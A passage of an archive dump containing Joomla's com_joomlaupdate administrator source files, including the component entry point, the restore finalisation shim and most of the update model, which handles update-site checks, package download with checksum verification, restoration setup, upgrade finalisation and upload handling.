			$view->setLayout($lName);

			// Push document object into the view.
			$view->document = $document;
			$view->display();
		}

		return $this;
	}
}
com_joomlaupdate/joomlaupdate.php000060400000001061152455305270013265 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if (!JFactory::getUser()->authorise('core.admin'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Joomlaupdate');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_joomlaupdate/restore_finalisation.php000060400000010171152455305270015026 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Require the restoration environment or fail cold. Prevents direct web access.
defined('_AKEEBA_RESTORATION') or die();

// Fake a miniature Joomla environment
if (!defined('_JEXEC'))
{
	define('_JEXEC', 1);
}

if (!function_exists('jimport'))
{
	/**
	 * We don't use it but the post-update script is using it anyway, so LET'S FAKE IT!
	 *
	 * @param   string  $path  A dot syntax path.
	 * @param   string  $base  Search this directory for the class.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.5.1
	 */
	function jimport($path, $base = null)
	{
		// Do nothing
	}
}

// Fake the JFile class, mapping it to Restore's post-processing class
if (!class_exists('JFile'))
{
	/**
	 * JFile mock class proxing behaviour in the post-upgrade script to that of either native PHP or restore.php
	 *
	 * @since  3.5.1
	 */
	abstract class JFile
	{
		/**
		 * Proxies checking a folder exists to the native php version
		 *
		 * @param   string  $fileName  The path to the file to be checked
		 *
		 * @return  boolean
		 *
		 * @since   3.5.1
		 */
		public static function exists($fileName)
		{
			return @file_exists($fileName);
		}

		/**
		 * Proxies deleting a file to the restore.php version
		 *
		 * @param   string  $fileName  The path to the file to be deleted
		 *
		 * @return  boolean
		 *
		 * @since   3.5.1
		 */
		public static function delete($fileName)
		{
			$postproc = AKFactory::getPostProc();
			$postproc->unlink($fileName);
		}
	}
}

// Fake the JFolder class, mapping it to Restore's post-processing class
if (!class_exists('JFolder'))
{
	/**
	 * JFolder mock class proxing behaviour in the post-upgrade script to that of either native PHP or restore.php
	 *
	 * @since  3.5.1
	 */
	abstract class JFolder
	{
		/**
		 * Proxies checking a folder exists to the native php version
		 *
		 * @param   string  $folderName  The path to the folder to be checked
		 *
		 * @return  boolean
		 *
		 * @since   3.5.1
		 */
		public static function exists($folderName)
		{
			return @is_dir($folderName);
		}

		/**
		 * Proxies deleting a folder to the restore.php version
		 *
		 * @param   string  $folderName  The path to the folder to be deleted
		 *
		 * @return  void
		 *
		 * @since   3.5.1
		 */
		public static function delete($folderName)
		{
			recursive_remove_directory($folderName);
		}
	}
}

// Fake the JText class - we aren't going to show errors to people anyhow
if (!class_exists('JText'))
{
	/**
	 * JText mock class proxing behaviour in the post-upgrade script to that of either native PHP or restore.php
	 *
	 * @since  3.5.1
	 */
	abstract class JText
	{
		/**
		 * No need for translations in a non-interactive script, so always return an empty string here
		 *
		 * @param   string  $text  A language constant
		 *
		 * @return  string
		 *
		 * @since   3.5.1
		 */
		public static function sprintf($text)
		{
			return '';
		}
	}
}

if (!function_exists('finalizeRestore'))
{
	/**
	 * Run part of the Joomla! finalisation script, namely the part that cleans up unused files/folders
	 *
	 * @param   string  $siteRoot     The root to the Joomla! site
	 * @param   string  $restorePath  The base path to restore.php
	 *
	 * @return  void
	 *
	 * @since   3.5.1
	 */
	function finalizeRestore($siteRoot, $restorePath)
	{
		if (!defined('JPATH_ROOT'))
		{
			define('JPATH_ROOT', $siteRoot);
		}

		$filePath = JPATH_ROOT . '/administrator/components/com_admin/script.php';

		if (file_exists($filePath))
		{
			require_once $filePath;
		}

		// Make sure Joomla!'s code can figure out which files exist and need be removed
		clearstatcache();

		// Remove obsolete files - prevents errors occurring in some system plugins
		if (class_exists('JoomlaInstallerScript'))
		{
			$script = new JoomlaInstallerScript;
			$script->deleteUnexistingFiles();
		}

		// Clear OPcache
		if (function_exists('opcache_reset'))
		{
			opcache_reset();
		}
		elseif (function_exists('apc_clear_cache'))
		{
			@apc_clear_cache();
		}
	}
}
com_joomlaupdate/models/default.php000060400000142237152455305270013523 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Extension\ExtensionHelper;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Http\HttpFactory;
use Joomla\Registry\Registry;

jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');

/**
 * Joomla! update overview Model
 *
 * @since  2.5.4
 */
class JoomlaupdateModelDefault extends JModelLegacy
{
	/**
	 * @var   array  $updateInformation  null
	 * Holds the update information evaluated in getUpdateInformation.
	 *
	 * @since 3.10.0
	 */
	private $updateInformation = null;

	/**
	 * Detects if the Joomla! update site currently in use matches the one
	 * configured in this component. If they don't match, it changes it.
	 *
	 * @return  void
	 *
	 * @since    2.5.4
	 */
	public function applyUpdateSite()
	{
		// Determine the intended update URL.
		$params = JComponentHelper::getParams('com_joomlaupdate');

		switch ($params->get('updatesource', 'nochange'))
		{
			// "Minor & Patch Release for Current version AND Next Major Release".
			case 'next':
				$updateURL = 'https://update.joomla.org/core/sts/list_sts.xml';
				break;

			// "Testing"
			case 'testing':
				$updateURL = 'https://update.joomla.org/core/test/list_test.xml';
				break;

			// "Custom"
			// TODO: check if the customurl is valid and not just "not empty".
			case 'custom':
				if (trim($params->get('customurl', '')) != '')
				{
					$updateURL = trim($params->get('customurl', ''));
				}
				else
				{
					return JError::raiseWarning(403, JText::_('COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_CUSTOM_ERROR'));
				}
				break;

			/**
			 * "Minor & Patch Release for Current version (recommended and default)".
			 * The commented "case" below are for documenting where 'default' and legacy options falls
			 * case 'default':
			 * case 'lts':
			 * case 'sts': (It's shown as "Default" because that option does not exist any more)
			 * case 'nochange':
			 */
			default:
				$updateURL = 'https://update.joomla.org/core/list.xml';
		}

		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('us') . '.*')
			->from($db->quoteName('#__update_sites_extensions') . ' AS ' . $db->quoteName('map'))
			->join(
				'INNER', $db->quoteName('#__update_sites') . ' AS ' . $db->quoteName('us')
				. ' ON (' . 'us.update_site_id = map.update_site_id)'
			)
			->where('map.extension_id = ' . $db->quote(700));
		$db->setQuery($query);
		$update_site = $db->loadObject();

		if ($update_site->location != $updateURL)
		{
			// Modify the database record.
			$update_site->last_check_timestamp = 0;
			$update_site->location = $updateURL;
			$db->updateObject('#__update_sites', $update_site, 'update_site_id');

			// Remove cached updates.
			$query->clear()
				->delete($db->quoteName('#__updates'))
				->where($db->quoteName('extension_id') . ' = ' . $db->quote('700'));
			$db->setQuery($query);
			$db->execute();
		}
	}

	/**
	 * Makes sure that the Joomla! update cache is up-to-date.
	 *
	 * @param   boolean  $force  Force reload, ignoring the cache timeout.
	 *
	 * @return  void
	 *
	 * @since    2.5.4
	 */
	public function refreshUpdates($force = false)
	{
		if ($force)
		{
			$cache_timeout = 0;
		}
		else
		{
			$cache_timeout = 3600 * JComponentHelper::getParams('com_installer')->get('cachetimeout', 6, 'int');
		}

		$updater               = JUpdater::getInstance();
		$minimumStability      = JUpdater::STABILITY_STABLE;
		$comJoomlaupdateParams = JComponentHelper::getParams('com_joomlaupdate');

		if (in_array($comJoomlaupdateParams->get('updatesource', 'nochange'), array('testing', 'custom')))
		{
			$minimumStability = $comJoomlaupdateParams->get('minimum_stability', JUpdater::STABILITY_STABLE);
		}

		$reflection = new ReflectionObject($updater);
		$reflectionMethod = $reflection->getMethod('findUpdates');
		$methodParameters = $reflectionMethod->getParameters();

		if (count($methodParameters) >= 4)
		{
			// Reinstall support is available in JUpdater
			$updater->findUpdates(700, $cache_timeout, $minimumStability, true);
		}
		else
		{
			$updater->findUpdates(700, $cache_timeout, $minimumStability);
		}
	}

	/**
	 * Returns an array with the Joomla! update information.
	 *
	 * @return  array
	 *
	 * @since   2.5.4
	 */
	public function getUpdateInformation()
	{
		if ($this->updateInformation)
		{
			return $this->updateInformation;
		}

		// Initialise the return array.
		$this->updateInformation = array(
			'installed' => JVERSION,
			'latest'    => null,
			'object'    => null,
			'hasUpdate' => false,
			'current'   => JVERSION, // This is deprecated please use 'installed' or JVERSION directly
		);

		// Fetch the update information from the database.
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('*')
			->from($db->quoteName('#__updates'))
			->where($db->quoteName('extension_id') . ' = ' . $db->quote(700));
		$db->setQuery($query);
		$updateObject = $db->loadObject();

		if (is_null($updateObject))
		{
			$this->updateInformation['latest'] = JVERSION;

			return $this->updateInformation;
		}

		// Check whether this is a valid update or not
		if (version_compare($updateObject->version, JVERSION, '<'))
		{
			// This update points to an outdated version we should not offer to update to this
			$this->updateInformation['latest'] = JVERSION;

			return $this->updateInformation;
		}

		$minimumStability      = JUpdater::STABILITY_STABLE;
		$comJoomlaupdateParams = JComponentHelper::getParams('com_joomlaupdate');

		if (in_array($comJoomlaupdateParams->get('updatesource', 'nochange'), array('testing', 'custom')))
		{
			$minimumStability = $comJoomlaupdateParams->get('minimum_stability', JUpdater::STABILITY_STABLE);
		}

		// Fetch the full update details from the update details URL.
		jimport('joomla.updater.update');
		$update = new JUpdate;
		$update->loadFromXML($updateObject->detailsurl, $minimumStability);

		// Make sure we use the current information we got from the detailsurl
		$this->updateInformation['object'] = $update;
		$this->updateInformation['latest'] = $updateObject->version;

		// Check whether we have got an update from the detailsurl or not.
		if (version_compare($this->updateInformation['latest'], JVERSION, '>'))
		{
			$this->updateInformation['hasUpdate'] = true;
		}

		return $this->updateInformation;
	}

	/**
	 * Returns an array with the configured FTP options.
	 *
	 * @return  array
	 *
	 * @since   2.5.4
	 */
	public function getFTPOptions()
	{
		$config = JFactory::getConfig();

		return array(
			'host'      => $config->get('ftp_host'),
			'port'      => $config->get('ftp_port'),
			'username'  => $config->get('ftp_user'),
			'password'  => $config->get('ftp_pass'),
			'directory' => $config->get('ftp_root'),
			'enabled'   => $config->get('ftp_enable'),
		);
	}

	/**
	 * Removes all of the updates from the table and enable all update streams.
	 *
	 * @return  boolean  Result of operation.
	 *
	 * @since   3.0
	 */
	public function purge()
	{
		$db = $this->getDbo();

		// Reset the last update check timestamp
		$query = $db->getQuery(true)
			->update($db->quoteName('#__update_sites'))
			->set($db->quoteName('last_check_timestamp') . ' = 0');
		$db->setQuery($query);
		$db->execute();

		// We should delete all core updates here
		$query = $db->getQuery(true)
			->delete($db->quoteName('#__updates'))
			->where($db->quoteName('element') . ' = ' . $db->quote('joomla'))
			->where($db->quoteName('type') . ' = ' . $db->quote('file'));
		$db->setQuery($query);

		if ($db->execute())
		{
			$this->_message = JText::_('COM_JOOMLAUPDATE_CHECKED_UPDATES');

			return true;
		}
		else
		{
			$this->_message = JText::_('COM_JOOMLAUPDATE_FAILED_TO_CHECK_UPDATES');

			return false;
		}
	}

	/**
	 * Downloads the update package to the site.
	 *
	 * @return  boolean|string  False on failure, basename of the file in any other case.
	 *
	 * @since   2.5.4
	 */
	public function download()
	{
		$updateInfo = $this->getUpdateInformation();
		$packageURL = trim($updateInfo['object']->downloadurl->_data);
		$sources    = $updateInfo['object']->get('downloadSources', array());

		// We have to manually follow the redirects here so we set the option to false.
		$httpOptions = new Registry;
		$httpOptions->set('follow_location', false);

		try
		{
			$head = HttpFactory::getHttp($httpOptions)->head($packageURL);
		}
		catch (RuntimeException $e)
		{
			// Passing false here -> download failed message
			$response['basename'] = false;

			return $response;
		}

		// Follow the Location headers until the actual download URL is known
		while (isset($head->headers['location']))
		{
			$packageURL = $head->headers['location'];

			try
			{
				$head = HttpFactory::getHttp($httpOptions)->head($packageURL);
			}
			catch (RuntimeException $e)
			{
				// Passing false here -> download failed message
				$response['basename'] = false;

				return $response;
			}
		}

		// Remove protocol, path and query string from URL
		$basename = basename($packageURL);

		if (strpos($basename, '?') !== false)
		{
			$basename = substr($basename, 0, strpos($basename, '?'));
		}

		// Find the path to the temp directory and the local package.
		$config   = JFactory::getConfig();
		$tempdir  = (string) InputFilter::getInstance(array(), array(), 1, 1)->clean($config->get('tmp_path'), 'path');
		$target   = $tempdir . '/' . $basename;
		$response = array();

		// Do we have a cached file?
		$exists = JFile::exists($target);

		if (!$exists)
		{
			// Not there, let's fetch it.
			$mirror = 0;

			while (!($download = $this->downloadPackage($packageURL, $target)) && isset($sources[$mirror]))
			{
				$name       = $sources[$mirror];
				$packageURL = trim($name->url);
				$mirror++;
			}

			$response['basename'] = $download;
		}
		else
		{
			// Is it a 0-byte file? If so, re-download please.
			$filesize = @filesize($target);

			if (empty($filesize))
			{
				$mirror = 0;

				while (!($download = $this->downloadPackage($packageURL, $target)) && isset($sources[$mirror]))
				{
					$name       = $sources[$mirror];
					$packageURL = trim($name->url);
					$mirror++;
				}

				$response['basename'] = $download;
			}

			// Yes, it's there, skip downloading.
			$response['basename'] = $basename;
		}

		$response['check'] = $this->isChecksumValid($target, $updateInfo['object']);

		return $response;
	}

	/**
	 * Return the result of the checksum of a package with the SHA256/SHA384/SHA512 tags in the update server manifest
	 *
	 * @param   string   $packagefile   Location of the package to be installed
	 * @param   JUpdate  $updateObject  The Update Object
	 *
	 * @return  boolean  False in case the validation did not work; true in any other case.
	 *
	 * @note    This method has been forked from (JInstallerHelper::isChecksumValid) so it
	 *          does not depend on an up-to-date InstallerHelper at the update time
	 *
	 * @since   3.9.0
	 */
	private function isChecksumValid($packagefile, $updateObject)
	{
		$hashes = array('sha256', 'sha384', 'sha512');

		foreach ($hashes as $hash)
		{
			if ($updateObject->get($hash, false))
			{
				$hashPackage = hash_file($hash, $packagefile);
				$hashRemote  = $updateObject->$hash->_data;

				if ($hashPackage !== $hashRemote)
				{
					// Return false in case the hash did not match
					return false;
				}
			}
		}

		// Well nothing was provided or all worked
		return true;
	}

	/**
	 * Downloads a package file to a specific directory
	 *
	 * @param   string  $url     The URL to download from
	 * @param   string  $target  The directory to store the file
	 *
	 * @return  boolean True on success
	 *
	 * @since   2.5.4
	 */
	protected function downloadPackage($url, $target)
	{
		JLoader::import('helpers.download', JPATH_COMPONENT_ADMINISTRATOR);

		try
		{
			JLog::add(JText::sprintf('COM_JOOMLAUPDATE_UPDATE_LOG_URL', $url), JLog::INFO, 'Update');
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get the handler to download the package
		try
		{
			$http = JHttpFactory::getHttp(null, array('curl', 'stream'));
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		jimport('joomla.filesystem.file');

		// Make sure the target does not exist.
		JFile::delete($target);

		// Download the package
		try
		{
			$result = $http->get($url);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		if (!$result || ($result->code != 200 && $result->code != 310))
		{
			return false;
		}

		// Write the file to disk
		JFile::write($target, $result->body);

		return basename($target);
	}

	/**
	 * Create restoration file.
	 *
	 * @param   string  $basename  Optional base path to the file.
	 *
	 * @return  boolean True if successful; false otherwise.
	 *
	 * @since  2.5.4
	 */
	public function createRestorationFile($basename = null)
	{
		// Get a password
		$password = JUserHelper::genRandomPassword(32);
		$app = JFactory::getApplication();
		$app->setUserState('com_joomlaupdate.password', $password);

		// Do we have to use FTP?
		$method = JFactory::getApplication()->getUserStateFromRequest('com_joomlaupdate.method', 'method', 'direct', 'cmd');

		// Get the absolute path to site's root.
		$siteroot = JPATH_SITE;

		// If the package name is not specified, get it from the update info.
		if (empty($basename))
		{
			$updateInfo = $this->getUpdateInformation();
			$packageURL = $updateInfo['object']->downloadurl->_data;
			$basename = basename($packageURL);
		}

		// Get the package name.
		$config  = JFactory::getConfig();
		$tempdir = $config->get('tmp_path');
		$file    = $tempdir . '/' . $basename;

		$filesize = @filesize($file);
		$app->setUserState('com_joomlaupdate.password', $password);
		$app->setUserState('com_joomlaupdate.filesize', $filesize);

		$data = "<?php\ndefined('_AKEEBA_RESTORATION') or die('Restricted access');\n";
		$data .= '$restoration_setup = array(' . "\n";
		$data .= <<<ENDDATA
	'kickstart.security.password' => '$password',
	'kickstart.tuning.max_exec_time' => '5',
	'kickstart.tuning.run_time_bias' => '75',
	'kickstart.tuning.min_exec_time' => '0',
	'kickstart.procengine' => '$method',
	'kickstart.setup.sourcefile' => '$file',
	'kickstart.setup.destdir' => '$siteroot',
	'kickstart.setup.restoreperms' => '0',
	'kickstart.setup.filetype' => 'zip',
	'kickstart.setup.dryrun' => '0',
	'kickstart.setup.renamefiles' => array(),
	'kickstart.setup.postrenamefiles' => false
ENDDATA;

		if ($method != 'direct')
		{
			/*
			 * Fetch the FTP parameters from the request. Note: The password should be
			 * allowed as raw mode, otherwise something like !@<sdf34>43H% would be
			 * sanitised to !@43H% which is just plain wrong.
			 */
			$ftp_host = $app->input->get('ftp_host', '');
			$ftp_port = $app->input->get('ftp_port', '21');
			$ftp_user = $app->input->get('ftp_user', '');
			$ftp_pass = addcslashes($app->input->get('ftp_pass', '', 'raw'), "'\\");
			$ftp_root = $app->input->get('ftp_root', '');

			// Is the tempdir really writable?
			$writable = @is_writeable($tempdir);

			if ($writable)
			{
				// Let's be REALLY sure.
				$fp = @fopen($tempdir . '/test.txt', 'w');

				if ($fp === false)
				{
					$writable = false;
				}
				else
				{
					fclose($fp);
					unlink($tempdir . '/test.txt');
				}
			}

			// If the tempdir is not writable, create a new writable subdirectory.
			if (!$writable)
			{
				$FTPOptions = JClientHelper::getCredentials('ftp');
				$ftp = JClientFtp::getInstance($FTPOptions['host'], $FTPOptions['port'], array(), $FTPOptions['user'], $FTPOptions['pass']);
				$dest = JPath::clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $tempdir . '/admintools'), '/');

				if (!@mkdir($tempdir . '/admintools'))
				{
					$ftp->mkdir($dest);
				}

				if (!@chmod($tempdir . '/admintools', 511))
				{
					$ftp->chmod($dest, 511);
				}

				$tempdir .= '/admintools';
			}

			// Just in case the temp-directory was off-root, try using the default tmp directory.
			$writable = @is_writeable($tempdir);

			if (!$writable)
			{
				$tempdir = JPATH_ROOT . '/tmp';

				// Does the JPATH_ROOT/tmp directory exist?
				if (!is_dir($tempdir))
				{
					JFolder::create($tempdir, 511);
					$htaccessContents = "order deny,allow\ndeny from all\nallow from none\n";
					JFile::write($tempdir . '/.htaccess', $htaccessContents);
				}

				// If it exists and it is unwritable, try creating a writable admintools subdirectory.
				if (!is_writable($tempdir))
				{
					$FTPOptions = JClientHelper::getCredentials('ftp');
					$ftp = JClientFtp::getInstance($FTPOptions['host'], $FTPOptions['port'], array(), $FTPOptions['user'], $FTPOptions['pass']);
					$dest = JPath::clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $tempdir . '/admintools'), '/');

					if (!@mkdir($tempdir . '/admintools'))
					{
						$ftp->mkdir($dest);
					}

					if (!@chmod($tempdir . '/admintools', 511))
					{
						$ftp->chmod($dest, 511);
					}

					$tempdir .= '/admintools';
				}
			}

			// If we still have no writable directory, we'll try /tmp and the system's temp-directory.
			$writable = @is_writeable($tempdir);

			if (!$writable)
			{
				if (@is_dir('/tmp') && @is_writable('/tmp'))
				{
					$tempdir = '/tmp';
				}
				else
				{
					// Try to find the system temp path.
					$tmpfile = @tempnam('dummy', '');
					$systemp = @dirname($tmpfile);
					@unlink($tmpfile);

					if (!empty($systemp))
					{
						if (@is_dir($systemp) && @is_writable($systemp))
						{
							$tempdir = $systemp;
						}
					}
				}
			}

			$data .= <<<ENDDATA
	,
	'kickstart.ftp.ssl' => '0',
	'kickstart.ftp.passive' => '1',
	'kickstart.ftp.host' => '$ftp_host',
	'kickstart.ftp.port' => '$ftp_port',
	'kickstart.ftp.user' => '$ftp_user',
	'kickstart.ftp.pass' => '$ftp_pass',
	'kickstart.ftp.dir' => '$ftp_root',
	'kickstart.ftp.tempdir' => '$tempdir'
ENDDATA;
		}

		$data .= ');';

		// Remove the old file, if it's there...
		$configpath = JPATH_COMPONENT_ADMINISTRATOR . '/restoration.php';

		if (JFile::exists($configpath))
		{
			JFile::delete($configpath);
		}

		// Write new file. First try with JFile.
		$result = JFile::write($configpath, $data);

		// In case JFile used FTP but direct access could help.
		if (!$result)
		{
			if (function_exists('file_put_contents'))
			{
				$result = @file_put_contents($configpath, $data);

				if ($result !== false)
				{
					$result = true;
				}
			}
			else
			{
				$fp = @fopen($configpath, 'wt');

				if ($fp !== false)
				{
					$result = @fwrite($fp, $data);

					if ($result !== false)
					{
						$result = true;
					}

					@fclose($fp);
				}
			}
		}

		return $result;
	}

	/**
	 * Runs the schema update SQL files, the PHP update script and updates the
	 * manifest cache and #__extensions entry. Essentially, it is identical to
	 * JInstallerFile::install() without the file copy.
	 *
	 * @return  boolean True on success.
	 *
	 * @since   2.5.4
	 */
	public function finaliseUpgrade()
	{
		$installer = JInstaller::getInstance();

		$manifest = $installer->isManifest(JPATH_MANIFESTS . '/files/joomla.xml');

		if ($manifest === false)
		{
			$installer->abort(JText::_('JLIB_INSTALLER_ABORT_DETECTMANIFEST'));

			return false;
		}

		$installer->manifest = $manifest;

		$installer->setUpgrade(true);
		$installer->setOverwrite(true);

		$installer->extension = JTable::getInstance('extension');
		$installer->extension->load(700);

		$installer->setAdapter($installer->extension->type);

		$installer->setPath('manifest', JPATH_MANIFESTS . '/files/joomla.xml');
		$installer->setPath('source', JPATH_MANIFESTS . '/files');
		$installer->setPath('extension_root', JPATH_ROOT);

		// Run the script file.
		JLoader::register('JoomlaInstallerScript', JPATH_ADMINISTRATOR . '/components/com_admin/script.php');

		$manifestClass = new JoomlaInstallerScript;

		ob_start();
		ob_implicit_flush(false);

		if ($manifestClass && method_exists($manifestClass, 'preflight'))
		{
			if ($manifestClass->preflight('update', $installer) === false)
			{
				$installer->abort(JText::_('JLIB_INSTALLER_ABORT_FILE_INSTALL_CUSTOM_INSTALL_FAILURE'));

				return false;
			}
		}

		// Create msg object; first use here.
		$msg = ob_get_contents();
		ob_end_clean();

		// Get a database connector object.
		$db = $this->getDbo();

		/*
		 * Check to see if a file extension by the same name is already installed.
		 * If it is, then update the table because if the files aren't there
		 * we can assume that it was (badly) uninstalled.
		 * If it isn't, add an entry to extensions.
		 */
		$query = $db->getQuery(true)
			->select($db->quoteName('extension_id'))
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('type') . ' = ' . $db->quote('file'))
			->where($db->quoteName('element') . ' = ' . $db->quote('joomla'));
		$db->setQuery($query);

		try
		{
			$db->execute();
		}
		catch (RuntimeException $e)
		{
			// Install failed, roll back changes.
			$installer->abort(
				JText::sprintf('JLIB_INSTALLER_ABORT_FILE_ROLLBACK', JText::_('JLIB_INSTALLER_UPDATE'), $e->getMessage())
			);

			return false;
		}

		$id = $db->loadResult();
		$row = JTable::getInstance('extension');

		if ($id)
		{
			// Load the entry and update the manifest_cache.
			$row->load($id);

			// Update name.
			$row->set('name', 'files_joomla');

			// Update manifest.
			$row->manifest_cache = $installer->generateManifestCache();

			if (!$row->store())
			{
				// Install failed, roll back changes.
				$installer->abort(
					JText::sprintf('JLIB_INSTALLER_ABORT_FILE_ROLLBACK', JText::_('JLIB_INSTALLER_UPDATE'), $row->getError())
				);

				return false;
			}
		}
		else
		{
			// Add an entry to the extension table with a whole heap of defaults.
			$row->set('name', 'files_joomla');
			$row->set('type', 'file');
			$row->set('element', 'joomla');

			// There is no folder for files so leave it blank.
			$row->set('folder', '');
			$row->set('enabled', 1);
			$row->set('protected', 0);
			$row->set('access', 0);
			$row->set('client_id', 0);
			$row->set('params', '');
			$row->set('system_data', '');
			$row->set('manifest_cache', $installer->generateManifestCache());

			if (!$row->store())
			{
				// Install failed, roll back changes.
				$installer->abort(JText::sprintf('JLIB_INSTALLER_ABORT_FILE_INSTALL_ROLLBACK', $row->getError()));

				return false;
			}

			// Set the insert id.
			$row->set('extension_id', $db->insertid());

			// Since we have created a module item, we add it to the installation step stack
			// so that if we have to rollback the changes we can undo it.
			$installer->pushStep(array('type' => 'extension', 'extension_id' => $row->extension_id));
		}

		$result = $installer->parseSchemaUpdates($manifest->update->schemas, $row->extension_id);

		if ($result === false)
		{
			// Install failed, rollback changes.
			$installer->abort(JText::sprintf('JLIB_INSTALLER_ABORT_FILE_UPDATE_SQL_ERROR', $db->stderr(true)));

			return false;
		}

		// Start Joomla! 1.6.
		ob_start();
		ob_implicit_flush(false);

		if ($manifestClass && method_exists($manifestClass, 'update'))
		{
			if ($manifestClass->update($installer) === false)
			{
				// Install failed, rollback changes.
				$installer->abort(JText::_('JLIB_INSTALLER_ABORT_FILE_INSTALL_CUSTOM_INSTALL_FAILURE'));

				return false;
			}
		}

		// Append messages.
		$msg .= ob_get_contents();
		ob_end_clean();

		// Clobber any possible pending updates.
		$update = JTable::getInstance('update');
		$uid = $update->find(
			array('element' => 'joomla', 'type' => 'file', 'client_id' => '0', 'folder' => '')
		);

		if ($uid)
		{
			$update->delete($uid);
		}

		// And now we run the postflight.
		ob_start();
		ob_implicit_flush(false);

		if ($manifestClass && method_exists($manifestClass, 'postflight'))
		{
			$manifestClass->postflight('update', $installer);
		}

		// Append messages.
		$msg .= ob_get_contents();
		ob_end_clean();

		if ($msg != '')
		{
			$installer->set('extension_message', $msg);
		}

		// Refresh versionable assets cache.
		JFactory::getApplication()->flushAssets();

		return true;
	}

	/**
	 * Removes the extracted package file.
	 *
	 * @return  void
	 *
	 * @since   2.5.4
	 */
	public function cleanUp()
	{
		// Remove the update package.
		$config = JFactory::getConfig();
		$tempdir = $config->get('tmp_path');

		$file = JFactory::getApplication()->getUserState('com_joomlaupdate.file', null);
		$target = $tempdir . '/' . $file;

		if (!@unlink($target))
		{
			JFile::delete($target);
		}

		// Remove the restoration.php file.
		$target = JPATH_COMPONENT_ADMINISTRATOR . '/restoration.php';

		if (!@unlink($target))
		{
			JFile::delete($target);
		}

		// Remove joomla.xml from the site's root.
		$target = JPATH_ROOT . '/joomla.xml';

		if (!@unlink($target))
		{
			JFile::delete($target);
		}

		// Unset the update filename from the session.
		JFactory::getApplication()->setUserState('com_joomlaupdate.file', null);
		$oldVersion = JFactory::getApplication()->getUserState('com_joomlaupdate.oldversion');

		// Trigger event after joomla update.
		JFactory::getApplication()->triggerEvent('onJoomlaAfterUpdate', array($oldVersion));
		JFactory::getApplication()->setUserState('com_joomlaupdate.oldversion', null);
	}

	/**
	 * Uploads what is presumably an update ZIP file under a mangled name in the temporary directory.
	 *
	 * @return  void
	 *
	 * @since   3.6.0
	 */
	public function upload()
	{
		// Get the uploaded file information.
		$input = JFactory::getApplication()->input;

		// Do not change the filter type 'raw'. We need this to let files containing PHP code to upload. See JInputFiles::get.
		$userfile = $input->files->get('install_package', null, 'raw');

		// Make sure that file uploads are enabled in php.
		if (!(bool) ini_get('file_uploads'))
		{
			throw new RuntimeException(JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLFILE'), 500);
		}

		// Make sure that zlib is loaded so that the package can be unpacked.
		if (!extension_loaded('zlib'))
		{
			throw new RuntimeException('COM_INSTALLER_MSG_INSTALL_WARNINSTALLZLIB', 500);
		}

		// If there is no uploaded file, we have a problem...
		if (!is_array($userfile))
		{
			throw new RuntimeException(JText::_('COM_INSTALLER_MSG_INSTALL_NO_FILE_SELECTED'), 500);
		}

		// Is the PHP tmp directory missing?
		if ($userfile['error'] && ($userfile['error'] == UPLOAD_ERR_NO_TMP_DIR))
		{
			throw new RuntimeException(
				JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR') . '<br />' .
				JText::_('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSET'),
				500
			);
		}

		// Is the max upload size too small in php.ini?
		if ($userfile['error'] && ($userfile['error'] == UPLOAD_ERR_INI_SIZE))
		{
			throw new RuntimeException(
				JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR') . '<br />' . JText::_('COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZE'),
				500
			);
		}

		// Check if there was a different problem uploading the file.
		if ($userfile['error'] || $userfile['size'] < 1)
		{
			throw new RuntimeException(JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR'), 500);
		}

		// Build the appropriate paths.
		$config   = JFactory::getConfig();
		$tmp_dest = tempnam($config->get('tmp_path'), 'ju');
		$tmp_src  = $userfile['tmp_name'];

		// Move uploaded file.
		jimport('joomla.filesystem.file');

		if (version_compare(JVERSION, '3.4.0', 'ge'))
		{
			$result = JFile::upload($tmp_src, $tmp_dest, false, true);
		}
		else
		{
			// Old Joomla! versions didn't have UploadShield and don't need the fourth parameter to accept uploads
			$result = JFile::upload($tmp_src, $tmp_dest);
		}

		if (!$result)
		{
			throw new RuntimeException(JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR'), 500);
		}

		JFactory::getApplication()->setUserState('com_joomlaupdate.temp_file', $tmp_dest);
	}

	/**
	 * Checks the super admin credentials are valid for the currently logged in users
	 *
	 * @param   array  $credentials  The credentials to authenticate the user with
	 *
	 * @return  boolean
	 *
	 * @since   3.6.0
	 */
	public function captiveLogin($credentials)
	{
		// Make sure the username matches
		$username = isset($credentials['username']) ? $credentials['username'] : null;
		$user     = JFactory::getUser();

		if (strtolower($user->username) != strtolower($username))
		{
			return false;
		}

		// Make sure the user is authorised
		if (!$user->authorise('core.admin'))
		{
			return false;
		}

